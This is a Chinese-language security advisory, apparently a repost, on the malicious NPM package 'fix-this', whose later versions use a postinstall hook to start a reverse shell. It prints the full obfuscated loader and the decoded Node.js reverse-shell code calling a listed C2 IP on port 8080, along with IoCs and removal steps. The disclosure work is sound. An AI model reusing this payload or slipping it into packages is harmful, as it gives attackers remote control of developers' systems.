供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

admin 2025年1月17日12:32:53评论17 views字数 4198阅读13分59秒阅读模式

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

SBOM情报概述

Summary

上周(2024.01.08),悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获一起针对NodeJS开发者开展远控攻击的组件投毒事件。投毒者在连续发布多达26个正常版本的 fix-this NPM包之后,在最近4个版本中(3.0.9; 3.1.9; 3.2.1; 3.2.3)正式将混淆的反向shell远控的恶意代码植入到该组件中进行远控投毒攻击。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

fix-this恶意NPM包

截至目前,该恶意组件包仍正常托管在NPM官方仓库以及国内主流NPM镜像源,对于NPM开发者来说存在较大安全隐患。此外,根据NPM官方接口统计,fix-this恶意NPM包总下载量为2179次。悬镜安全已于第一时间将该投毒恶意包的详细技术分析向XSBOM供应链安全情报订阅用户进行推送预警。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

fix-this恶意包总下载量

投毒分析

Poisoning Analysis

 fix-this NPM组件包在3.0.9及之后的版本中 lib/utils/connectionUtils.js 代码文件的 validateSystemResultsV2() 函数被投毒者植入混淆恶意代码,恶意代码主要功能用于执行反向shell远控,针对目前已投放的4个版本恶意包中,涉及到的远控服务器地址及端口如下所示。

远控IP
远控端口
54.226.214.36 8080
54.174.228.222 8080
3.91.223.142 8080
107.21.170.197 8080

1

代码混淆

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

以 fix-this 最新版本3.2.3为例,组件包package.json中通过配置scripts postinstall指令实现组件安装过程中执行 "node lib/utils/postinstall.js" 。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

package.json 定义 postinstall 恶意指令

lib/utils/postinstall.js 文件如下所示,其主要功能是调用 connectionUtils 模块(lib/utils/connectionUtils.js)的 validateSystemResults 及 validateSystemResultsV2 函数进行相关校验操作。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

postinstall.js 文件代码

lib/utils/connectionUtils.js 代码文件的validateSystemResultsV2 函数已经被攻击者植入混淆的恶意代码

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

validateSystemResultsV2 函数

validateSystemResultsV2 函数中的混淆代码如下所示:

function _0x2057(_0x1829df,_0x3f03dc){var _0x5ca86c=_0x5ca8();return _0x2057=function(_0x2057b2,_0x3d1488){_0x2057b2=_0x2057b2-0x84;var _0x5a534d=_0x5ca86c[_0x2057b2];return _0x5a534d;},_0x2057(_0x1829df,_0x3f03dc);}var _0x13cf3b=_0x2057;(function(_0x4992cf,_0x2f1494){var _0x4bbf83=_0x2057,_0x29c35c=_0x4992cf();while(!![]){try{var _0x3636ce=parseInt(_0x4bbf83(0x86))/0x1+-parseInt(_0x4bbf83(0x8a))/0x2*(parseInt(_0x4bbf83(0x8b))/0x3)+parseInt(_0x4bbf83(0x8e))/0x4+-parseInt(_0x4bbf83(0x90))/0x5*(parseInt(_0x4bbf83(0x85))/0x6)+-parseInt(_0x4bbf83(0x84))/0x7+-parseInt(_0x4bbf83(0x89))/0x8+parseInt(_0x4bbf83(0x8c))/0x9;if(_0x3636ce===_0x2f1494)break;else _0x29c35c['push'](_0x29c35c['shift']());}catch(_0x57e360){_0x29c35c['push'](_0x29c35c['shift']());}}}(_0x5ca8,0xb27a1));function _0x5ca8(){var _0x1d3d55=['spawn','ignore','1912848LiJbyL','118058INcfKg','33BmgaJm','3039138ZhLTOG','x0ax20x20x20x20(function(){x0ax20x20x20x20x20x20varx20netx20=x20require(x22netx22),x0ax20x20x20x20x20x20x20x20x20x20cpx20=x20require(x22child_processx22),x0ax20x20x20x20x20x20x20x20x20x20shx20=x20cp.spawn(x22/bin/shx22,x20[],x20{x20stdio:x20[x27pipex27,x20x27pipex27,x20x27pipex27]x20});x0ax20x20x20x20x20x20varx20clientx20=x20newx20net.Socket();x0ax20x20x20x20x20x20client.connect(8080,x20x2254.226.214.36x22,x20function(){x0ax20x20x20x20x20x20x20x20client.pipe(sh.stdin);x0ax20x20x20x20x20x20x20x20sh.stdout.pipe(client);x0ax20x20x20x20x20x20x20x20sh.stderr.pipe(client);x0ax20x20x20x20x20x20});x0ax20x20x20x20})();x0ax20x20','5496360mmtRSt','execPath','4985245oSRztn','3850931TfscMo','6YqPuPd','1454876IJOzMs'];_0x5ca8=function(){return _0x1d3d55;};return _0x5ca8();}var cp=require('child_process');cp[_0x13cf3b(0x87)](process[_0x13cf3b(0x8f)],['-e',_0x13cf3b(0x8d)],{'detached':!![],'stdio':_0x13cf3b(0x88)})['unref']();

2

反向shell远控

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

对混淆代码进行还原后,发现其主要功能是调用child_process模块执行 node -e 来动态执行一段经典的反向shell远控nodejs代码。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

混淆代码还原

反向shell远控nodejs代码如下所示,当前版本恶意包使用的shell远控服务器IP为:54.226.214.36,远控端口为8080。

    (function(){      var net = require("net"),          cp = require("child_process"),          sh = cp.spawn("/bin/sh", [], { stdio: ['pipe', 'pipe', 'pipe'] });      var client = new net.Socket();      client.connect(8080, "54.226.214.36", function(){        client.pipe(sh.stdin);        sh.stdout.pipe(client);        sh.stderr.pipe(client);      });    })();

一旦开发者安装fix-this恶意包时,将自动触发执行validateSystemResultsV2 函数中的反向shell远控代码,导致系统被投毒者远程控制。如下图所示,通过本地模拟投毒者远控服务器IP(下图左侧)进行验证,当受害者(下图右侧)安装该恶意组件时,攻击者将获取受害者系统的远控权限。

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

本地反向shell远控验证

3

IoC 数据

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

本次捕获的fix-this NPM投毒包涉及的恶意IoC数据如下表所示:

供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

排查方式

Investigation Method

开发者可通过命令 npm list fix-this在项目目录下使用查询是否已安装存在恶意投毒版本(3.0.9; 3.1.9; 3.2.1; 3.2.3)的组件,如果已安装请立即使用 npm uninstall fix-this 进行卸载。此外还需关闭系统网络并排查系统是否存在异常进程。

此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[     {         "product": "fix-this",         "version": "[3.0.9, 3.1.9, 3.2.1, 3.2.3]",         "language": "javascript",         "id": "XMIRROR-MAL45-92505BB",         "description": "恶意NPM组件fix-this开展远控投毒攻击",         "release_date": "2025-01-08"       }]

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。

原文始发于微信公众号(悬镜安全):供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日12:32:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒https://cn-sec.com/archives/3638798.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息